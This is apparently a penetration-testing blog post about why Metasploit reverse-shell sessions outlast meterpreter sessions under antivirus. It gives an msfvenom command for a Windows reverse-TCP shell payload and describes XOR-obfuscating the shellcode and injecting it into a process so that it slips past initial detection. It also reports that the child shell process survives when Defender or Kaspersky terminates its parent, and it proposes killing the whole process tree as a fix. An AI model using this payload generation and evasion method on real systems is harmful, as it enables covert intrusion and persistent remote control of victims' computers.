REVERSE SHELL OVERSHADOWS REVERSE METERPRETER
In my early days of malware development and penetration testing, like everybody else I had started by injecting malicious shellcodes into the memory of victim pc to gain access over the C2 server using a popular pen-testing tool called Metasploit framework console. MSF console is a very useful tool for advanced penetration testing if used properly. Since, it is an open-source pen-testing software therefore almost all the exploits generated by Metasploit or MSFvenom are already updated and are detected by most of the security controls. Now that brings us to the advanced penetration testing called red teaming, because to bypass the detection of these security controls, we will have to employ defense evasion techniques like encryption, obfuscation, unhooking and many more. As the title of this articles suggested, reverse shell session of the Metasploit is much better than reverse meterpreter session for several reasons:
First, meterpreter session is easy to detect for AV/EDRs as compared to shell session because in meterpreter session, adversaries can load meterpreter scripts directly into the victim pc like (taking screenshots, accessing webcam, adding keyloggers etc.) but in shell session, adversary only get the shell of victim pc. Obviously, meterpreter session is more convenient than shell but it will not last long because latest AV/EDRs quickly detect suspicious behavior from the injected process if a meterpreter script is loaded into it. However, the shell session remains undetected.
Second and most important, there is a loophole that could be exploited by adversaries while using a shell_reverse_tcp session. Somehow if the AVs detected the malicious source of injection and the victim process, it quickly quarantines or deletes the malicious source (exe, script) and closes the process in which the shellcode has been injected. However, the session remains active unless the adversary closes it from the c2 server. Why is this happening? See the practical example below:
Reverse Shell escapes AV
In this example I am going to inject a shellcode (into a process) generated by msfvenom, encrypt it with a weak xor encryption so that it will be just enough to bypass the initial detection by AV but after some time, AV will catch it and close the process. I have written a c# exploit in which I am decrypting the xor encrypted shellcode and then injecting into some process. Since, I want AVs to detect this after some time therefore, I am not getting the decryption key from a remote server rather added the key in exploit itself. Let me first generate the exploit using msfvenom. See the screenshot below:
Command: msfvenom -p windows/x64/shell_reverse_tcp lhost=ip_address lport=some_port -f csharp
We have the shellcode, now to encrypt this shellcode, I have written another c# code that simply xor the shellcode with a specified key running in a loop. You can also write a simple python script that xor bytes with a specified key but keep in mind that python2 and python3 deals with string in an entirely different way. The encrypted shellcode can be seen in the picture below:
Now I will just copy this encrypted shellcode into the exploit that I have written along with a key also specified in the same exploit code. The code that I have written first checks the architecture, if the victim computer is 32-bit architecture then it injected the 32-bit code into a 32-bit process and similarly with the 64-bit. Remember shellcode is always architecture dependent, you cannot execute a 32-bit shellcode into a 64-bit processor and vice versa.
This code (.exe) once executed will decrypt the shellcode at runtime and injects it into a specified process. After injection it pings the c2 server and establishes a connection. I will set up Metasploit listener as a c2 server and execute the malicious exe from the victim pc. Since it is xor encrypted shellcode so antiviruses will take some time to flag it malicious until then I would have already established a connection with the c2 server.
Our exploit has been detected and quarantined, the AV will remove the malicious file as well as the process which was used to establish connection to the c2 server. But here is a loophole, AV closes the victim process, but connection remains open. Check the screenshot below, I still have a remote shell connection with the victim pc.
As you can see even after the exploit got caught, the victim process had been closed, we can still pass commands remotely using this shell connection. How is this possible? I have investigated further into the victim computer using process hacker and found out that when shell_reverse_tcp shellcode has been injected into a process it creates a reverse shell connection in a child process of the victim process and when AV solutions detect this malicious behavior, they simply force the parent process to terminate however, the child process somehow remains as an UNKNOWN process running in the background. I have tested and recorded this behavior with two well known Antiviruses that are Microsoft Windows Defender fully updated and Kaspersky Total Security fully activated. This is a very high security risk and a possible 0 zero-day vulnerability, that even if an AV detects something malicious it is not able to completely remove it simply because of parent-child process hierarchy.
I have traced the process that is executing commands from the remote c2 server and found it with the name UKNOWN process. This is like a zombie process whose parent is dead, but it is not closed. AV are not able to detect this unknown process and even terminating this requires administrative privileges.
Conculsion
Using the reverse shell session of Metasploit is much better than using reverse meterpreter session because it is very hard to detect and even if it is detected, the antiviruses are not able to completely remove the infection from a victim computer. For advanced penetration testing and red teaming activities using, reverse shell is much more convenient and realistic because hackers mostly gain control over a shell rather than meterpreter sessions. This is a security loophole and a vulnerability that needs to be addressed by AV companies.
Possible Mitigation
So, I have investigated further about how to mitigate this vulnerability. For that, I turned off antiviruses first. Traced the victim process using, process hacker tool. I have terminated the victim process manually and it was the same result as when antiviruses tried to mitigate this exploitation. I still had an established connection with the c2 server but then I tried again and this time instead of terminating the victim process I have terminated the whole tree of victim process which resulted in connection being dead on the c2 server. Therefore, the possible mitigation of this loophole is that instead of closing the victim process, the antiviruses should close the whole hierarchy of the victim process including its child or parent processes and if possible restart the whole pc to disinfect it.
